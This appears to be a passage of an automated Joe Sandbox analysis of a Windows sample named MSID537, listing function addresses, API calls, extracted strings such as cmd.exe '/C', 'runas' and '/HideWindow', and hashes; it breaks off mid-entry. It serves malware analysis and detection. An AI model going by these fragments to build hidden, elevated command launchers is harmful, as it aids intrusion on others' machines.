Function 00B87660 Relevance: 42.4, APIs: 16, Strings: 8, Instructions: 384
libraryloadersleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryW.KERNEL32(00000010,00000104,?,?), ref: 00B8781F
GetForegroundWindow.USER32(?,?), ref: 00B878A4
ShellExecuteExW.SHELL32(?), ref: 00B878C1
ShellExecuteExW.SHELL32(?), ref: 00B878FF
GetModuleHandleW.KERNEL32(Kernel32.dll,GetProcessId,?,?,?), ref: 00B87942
GetProcAddress.KERNEL32(00000000), ref: 00B87949
AllowSetForegroundWindow.USER32(00000000), ref: 00B87953
GetModuleHandleW.KERNEL32(Kernel32.dll,GetProcessId,?,?,?), ref: 00B87973
GetProcAddress.KERNEL32(00000000), ref: 00B8797A
Sleep.KERNEL32(00000064,?,?,?), ref: 00B87997
EnumWindows.USER32(00B87A90,?), ref: 00B879B3
BringWindowToTop.USER32(?), ref: 00B879C2
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?), ref: 00B879DF
GetExitCodeProcess.KERNEL32(?,?), ref: 00B879EC

Part of subcall function 00B87D30: CloseHandle.KERNEL32(?,E5F50329,00000010,00000010,?,?), ref: 00B87D72

GetWindowThreadProcessId.USER32(?,?), ref: 00B87A9C
GetWindowLongW.USER32(?,000000F0), ref: 00B87AB4

Strings

runas, xrefs: 00B87874
Kernel32.dll, xrefs: 00B8793D, 00B8796E
.cmd, xrefs: 00B877E0
.bat, xrefs: 00B877AA
%s\System32\cmd.exe, xrefs: 00B8782C
GetProcessId, xrefs: 00B87938, 00B87969
open, xrefs: 00B87858
/C ""%s" %s", xrefs: 00B87844

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: Window$Handle$AddressExecuteForegroundModuleProcProcessShellWindows$AllowBringCloseCodeDirectoryEnumExitLongObjectSingleSleepThreadWait
String ID: %s\System32\cmd.exe$.bat$.cmd$/C ""%s" %s"$GetProcessId$Kernel32.dll$open$runas
API String ID: 1023610922-986041216
Opcode ID: a0b714cb7664a99e7231f2c0eaf28f176e99be8d8a5abfa1a1c1afc94df2b098
Instruction ID: c2b392cdc028f96528fcc7b90cabe07e026f25f4c6e040267898a5ff069e723b
Opcode Fuzzy Hash: a0b714cb7664a99e7231f2c0eaf28f176e99be8d8a5abfa1a1c1afc94df2b098
Instruction Fuzzy Hash: B0E17275A44205DFDB10EFA8C888A9EBBF5FF18314F2441A9E515EB2A1EB30DD45CB60

Function 00B8D060 Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 472COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00B8D200
LocalFree.KERNEL32(00000000), ref: 00B8D257
_swprintf.LIBCMT ref: 00B8D440
LocalFree.KERNEL32(00000000), ref: 00B8D497
_swprintf.LIBCMT ref: 00B8D592

Strings

+, xrefs: 00B8D506
%, xrefs: 00B8D519

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: _swprintf$FreeLocal
String ID: %$+
API String ID: 2429749586-2626897407
Opcode ID: 21abdd7c31593b4f5a1b6f46231d46c8964344bcd41a5d2a5dfcac41106e714c
Instruction ID: 8cf5ef0c04853efafb5132cdd0201497fedd1673bff2ab07f054d1c5eaa79ac7
Opcode Fuzzy Hash: 21abdd7c31593b4f5a1b6f46231d46c8964344bcd41a5d2a5dfcac41106e714c
Instruction Fuzzy Hash: 1902DE71E102199FDB15EFA8CC84BAEBBF5FF49300F14466AF801AB291D734A941CB91

Function 00B90E90 Relevance: 11.0, APIs: 2, Strings: 4, Instructions: 455registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,-00000002,00000000,00000001,?), ref: 00B912C4
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,00BE57C0,00000800), ref: 00B912E1

Strings

/EnforcedRunAsAdmin , xrefs: 00B90EB0, 00B90EBA, 00B90EE3, 00B90F01
/HideWindow, xrefs: 00B91075, 00B9107F, 00B910AC, 00B910BC, 00B910DB
/RunAsAdmin , xrefs: 00B90FCE, 00B90FD9, 00B91003, 00B91013, 00B91032
/DontWait , xrefs: 00B90F37, 00B90F40, 00B90F6C, 00B90F8E

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: OpenQueryValue
String ID: /DontWait $/EnforcedRunAsAdmin $/HideWindow$/RunAsAdmin
API String ID: 4153817207-1914306501
Opcode ID: d1ccb4ecac5ae7ea8f623a1fdd84dff456a7e769bcdf96d32e85dfdb0a892776
Instruction ID: 60d9d904a2750057a353b08474cbeec4ac7d09cc39f07e48c4da985b0e7f5c2a
Opcode Fuzzy Hash: d1ccb4ecac5ae7ea8f623a1fdd84dff456a7e769bcdf96d32e85dfdb0a892776
Instruction Fuzzy Hash: 49E1D025A04353CBDF34AF18C850676B3E1EF95B80F5988FAD8458B291E772CD82E395

Function 00B861D0 Relevance: 10.7, APIs: 7, Instructions: 234processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00B86242
CloseHandle.KERNEL32(00000000), ref: 00B86285
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00B862E1
OpenProcess.KERNEL32(00000410,00000000,?), ref: 00B862FD
CloseHandle.KERNEL32(00000000), ref: 00B86445
Process32NextW.KERNEL32(?,0000022C), ref: 00B86463
CloseHandle.KERNEL32(00000000), ref: 00B8648E

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: CloseHandle$Process32$CreateFirstNextOpenProcessSnapshotToolhelp32
String ID:
API String ID: 708755948-0
Opcode ID: 0325e566b37e87cc6d6ba96f453bfd397f88704bc1fcbe766524e1f1d9c86355
Instruction ID: 6153f55265aa374102b13e97d4aa09ecdc3cd4007b5e155a1363aa5f55a5c4b9
Opcode Fuzzy Hash: 0325e566b37e87cc6d6ba96f453bfd397f88704bc1fcbe766524e1f1d9c86355
Instruction Fuzzy Hash: FEA16971905269DBDB20EF68C948B9EBBF4EF44704F1482D9E419A7290DBB45E84CF90

Function 00BC4609 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1436COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00BC47ED

Strings

1#INF, xrefs: 00BC473F
1#SNAN, xrefs: 00BC4715
1#IND, xrefs: 00BC470E
1#QNAN, xrefs: 00BC471C

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: c073fe8f09b7bde4da68078879bd9e309f197021731c9fca64438e3dd3d77192
Instruction ID: 17935083c90d97bf05db2f3c8aaaf1ab605cd03b2c8451beb7d3679cc1765ad1
Opcode Fuzzy Hash: c073fe8f09b7bde4da68078879bd9e309f197021731c9fca64438e3dd3d77192
Instruction Fuzzy Hash: 1DD21671E086298FDB65CE28CD90BEAB7F5EB45305F1441EAD44EE7240EB74AE818F41

Function 00BC3BA3 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00BC3EC1,00000002,00000000,?,?,?,00BC3EC1,?,00000000), ref: 00BC3C3C
GetLocaleInfoW.KERNEL32(?,20001004,00BC3EC1,00000002,00000000,?,?,?,00BC3EC1,?,00000000), ref: 00BC3C65
GetACP.KERNEL32(?,?,00BC3EC1,?,00000000), ref: 00BC3C7A

Strings

OCP, xrefs: 00BC3BF7
ACP, xrefs: 00BC3BC1

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 5a15ebeb47e96d30e34f93acd9f86cc8abdf9aab20e4ff7fecb7abe2f06f9907
Instruction ID: eedcb8306be0f9635d264cdeabff135af30c7e3394be42640876f237017e484c
Opcode Fuzzy Hash: 5a15ebeb47e96d30e34f93acd9f86cc8abdf9aab20e4ff7fecb7abe2f06f9907
Instruction Fuzzy Hash: 20213036600201AADB348F59C941F9BB6E6EB54F55B96C4ACE90AE7110E732DF41D360

Function 00BC3D78 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00BBAE3C: GetLastError.KERNEL32(?,00000008,00BC03BC), ref: 00BBAE40
Part of subcall function 00BBAE3C: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00BBAEE2

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00BC3E84
IsValidCodePage.KERNEL32(00000000), ref: 00BC3ECD
IsValidLocale.KERNEL32(?,00000001), ref: 00BC3EDC
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00BC3F24
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00BC3F43

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: bad0ad6e02851967829805cc0d42a3224640bdb65efcdb30d6d9813cbbd80608
Instruction ID: 418498e789c3f758554facf5df58453f5f9316815c7629e20ab251993c17ef30
Opcode Fuzzy Hash: bad0ad6e02851967829805cc0d42a3224640bdb65efcdb30d6d9813cbbd80608
Instruction Fuzzy Hash: D1515072A00206ABDB10EFA5CC45FBA77F8EF48B00F9584ADE915E7151EB70DB448B61

Function 00BC3414 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00BBAE3C: GetLastError.KERNEL32(?,00000008,00BC03BC), ref: 00BBAE40
Part of subcall function 00BBAE3C: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00BBAEE2

GetACP.KERNEL32(?,?,?,?,?,?,00BB994B,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00BC34D5
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00BB994B,?,?,?,00000055,?,-00000050,?,?), ref: 00BC3500
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00BC3663

Strings

utf8, xrefs: 00BC35D2

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: 7469e0926c0d8e201ec783318ef0757810cec308ea858b66b78f4d2f94bc68c3
Instruction ID: e58340a585b42e275df32ec62325040808123653e81a6ab8ca65162f179cb5d1
Opcode Fuzzy Hash: 7469e0926c0d8e201ec783318ef0757810cec308ea858b66b78f4d2f94bc68c3
Instruction Fuzzy Hash: BF71D771A04302AADB29AB74CC46FBA73E8EF55B00F5484BDF905D7281EB75EE408661

Function 00B81D70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

LoadResource.KERNEL32(00000000,00000000,E5F50329,00000001,00000000,?,00000000,00BC9360,000000FF,?,00B81D1C,00000010,?,?,?,-00000010), ref: 00B81D9B
LockResource.KERNEL32(00000000,?,00B81D1C,00000010,?,?,?,-00000010,00BC9340,000000FF,?,00B8202C,?,00000000,00BC938D,000000FF), ref: 00B81DA6
SizeofResource.KERNEL32(00000000,00000000,?,00B81D1C,00000010,?,?,?,-00000010,00BC9340,000000FF,?,00B8202C,?,00000000,00BC938D), ref: 00B81DB4

Strings

@"vpD$v, xrefs: 00B81D9B

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: Resource$LoadLockSizeof
String ID: @"vpD$v
API String ID: 2853612939-3189754618
Opcode ID: 8d9f34715163df0a678618bc540e8391feeefe5a3470f5a96d4fc66e5d3e1476
Instruction ID: 76f52da6e85076af330bfe584b45e7cfaab10bd9d1f2f2f5f897634d1c22dcc7
Opcode Fuzzy Hash: 8d9f34715163df0a678618bc540e8391feeefe5a3470f5a96d4fc66e5d3e1476
Instruction Fuzzy Hash: 8211E732A00A549BC7209F1DDC45B66F7ECE789B10F004D7EEC1AD7250EA359D00C790

Function 00BBB336 Relevance: 6.3, APIs: 4, Instructions: 337COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00BBB3C3

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: f068e2ee9b525f32e3efd226be2df2fe614e6fc1a05ef0a7f01a5d797c6cceda
Instruction ID: 34a01a1bd70a8e7e254c932037429356575626ba260cfe78bccd0fb749f2e640
Opcode Fuzzy Hash: f068e2ee9b525f32e3efd226be2df2fe614e6fc1a05ef0a7f01a5d797c6cceda
Instruction Fuzzy Hash: 99B104729042459FDB258F68C891FFEBBE5EF55310F1481EAE806AB242D7F49D01CBA1

Function 00BA83BD Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00BA83C9
IsDebuggerPresent.KERNEL32 ref: 00BA8495
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00BA84B5
UnhandledExceptionFilter.KERNEL32(?), ref: 00BA84BF

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: da4cd7970c64fec7f2316b20899f49230a26df4b189879cc75bd620e5c48a171
Instruction ID: 10c6631da0847ef28f0d6689eb7aa67b2ae74f1b81a1c3e7281150c7116392e3
Opcode Fuzzy Hash: da4cd7970c64fec7f2316b20899f49230a26df4b189879cc75bd620e5c48a171
Instruction Fuzzy Hash: D331F975D0521DDBDB10EFA4D989BCDBBF8AF19300F1041EAE40DAB250EB719A858F45

Function 00B92161 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30windowCOMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(!x-sys-default-locale,20000001,00000000,00000002,?,?,?,00B83270,?), ref: 00B92176
FormatMessageA.KERNEL32(00001300,00000000,E5F50329,00000000,00000000,00000000,00000000,?,?,?,00B83270,?), ref: 00B92198

Strings

!x-sys-default-locale, xrefs: 00B92171

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: FormatInfoLocaleMessage
String ID: !x-sys-default-locale
API String ID: 4235545615-2729719199
Opcode ID: 7b5e102e512a2d48c5c25827f266c2a94c8b32364c21d5789b5c20a51bd43018
Instruction ID: 80e0183fc2c73ede3f6cf9883796e418bf031ab3937c84e490dc28558766a81b
Opcode Fuzzy Hash: 7b5e102e512a2d48c5c25827f266c2a94c8b32364c21d5789b5c20a51bd43018
Instruction Fuzzy Hash: 56E06576550114FFFB04AFA0CC0BDBF7BADEB04750F004158B901E2150D6B16E00C7A0

Function 00BC3827 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00BBAE3C: GetLastError.KERNEL32(?,00000008,00BC03BC), ref: 00BBAE40
Part of subcall function 00BBAE3C: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00BBAEE2

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00BC387B
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00BC38C5
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00BC398B

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 92221ab45219e372aa95bd7a061f962953b3f9acfd10c98b8b624c6368846fca
Instruction ID: 8bf0eea08d01423a2766c9f0ac02dc56c031f293b13862680da7a009673f05d5
Opcode Fuzzy Hash: 92221ab45219e372aa95bd7a061f962953b3f9acfd10c98b8b624c6368846fca
Instruction Fuzzy Hash: BE618271A002079FDB289F28CC82FBA77E8EF04B10F5481EDE905D6581E7B5DA95CB50

Function 00BAC3B6 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00BAC4AE
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00BAC4B8
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 00BAC4C5

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 975fa2c52b2c452d74dccebf5e31f9b73a97a5c5c8da969eacf8887bbe6bc768
Instruction ID: ac3fb4c01319b214482782bb8ac438b767dde815f1cc7a87414fcf95351095fe
Opcode Fuzzy Hash: 975fa2c52b2c452d74dccebf5e31f9b73a97a5c5c8da969eacf8887bbe6bc768
Instruction Fuzzy Hash: 5531B374901218ABCB21DF64D889B9DBBF4BF19310F5041EAE40CA7251EB709F858F44

Function 00BB38A0 Relevance: 3.4, APIs: 2, Instructions: 449COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55ed78c7c429dff4e87f4ebae4af2bdfb9d68bf7abf48bfa11f875b6aae70124
Instruction ID: fbbcccee36d9f6e96704a74539c0e4ad14f30bf50894c2b49666199c95e5bedf
Opcode Fuzzy Hash: 55ed78c7c429dff4e87f4ebae4af2bdfb9d68bf7abf48bfa11f875b6aae70124
Instruction Fuzzy Hash: 61F12E71E002199FDF14CFA9C8806EDBBF1EF88714F2582A9D815AB394D7719E45CB90

Function 00BBD192 Relevance: 1.9, APIs: 1, Instructions: 408timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00BBD5D7,00000000,00000000,00000000), ref: 00BBD496

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: InformationTimeZone
String ID:
API String ID: 565725191-0
Opcode ID: 40557dda0101deb81deb38b728f66fbe42ca4eb3e75729e28641f80965e3d1b5
Instruction ID: 80f0082b412c00cddc6d18fe3a38101c8410348f5ff48c259eecdc71d0e77405
Opcode Fuzzy Hash: 40557dda0101deb81deb38b728f66fbe42ca4eb3e75729e28641f80965e3d1b5
Instruction Fuzzy Hash: 49C1E371D00215ABDB20AFA4DC42AFEBBE9EF15710F5440A6F901AB291FBB49E41C794

Function 00BBDB30 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00BBDB2B,?,?,00000008,?,?,00BC6AD4,00000000), ref: 00BBDD5D

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 6d7526cb0fd76652f0bc4bfc4161ac915878502b8f281d2a2e3ab4301d9b80e6
Instruction ID: dd055e472cf5dcb2e8b79311cc0b59a9e0622a5c5bd927b9b053f58c4ad0b3de
Opcode Fuzzy Hash: 6d7526cb0fd76652f0bc4bfc4161ac915878502b8f281d2a2e3ab4301d9b80e6
Instruction Fuzzy Hash: F7B14F35210608DFDB15CF28C486BA57BE0FF45364F298698E8D9CF2A1D3B9E991CB40

Function 00BA801C Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00BA8032

Memory Dump Source

